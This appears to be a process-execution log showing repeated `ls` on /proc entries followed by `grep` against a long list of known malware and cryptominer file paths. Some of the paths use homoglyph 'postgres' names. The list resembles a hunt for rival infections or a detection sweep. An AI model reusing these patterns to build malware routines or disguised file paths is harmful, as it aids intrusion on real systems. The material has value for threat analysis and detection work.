[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/74]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/75]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/754]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/756]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/757]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/759]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/76]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/760]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/766]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/77]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/785]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/786]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/79]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/8]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/80]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/82]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/9]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/buddyinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/bus]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cgroups]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cmdline]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/consoles]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cpuinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/crypto]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/device-tree]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/devices]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/diskstats]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/dma]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/driver]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/execdomains]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fb]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/filesystems]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/interrupts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/iomem]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/ioports]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/irq]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kallsyms]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kcore]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/key-users]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

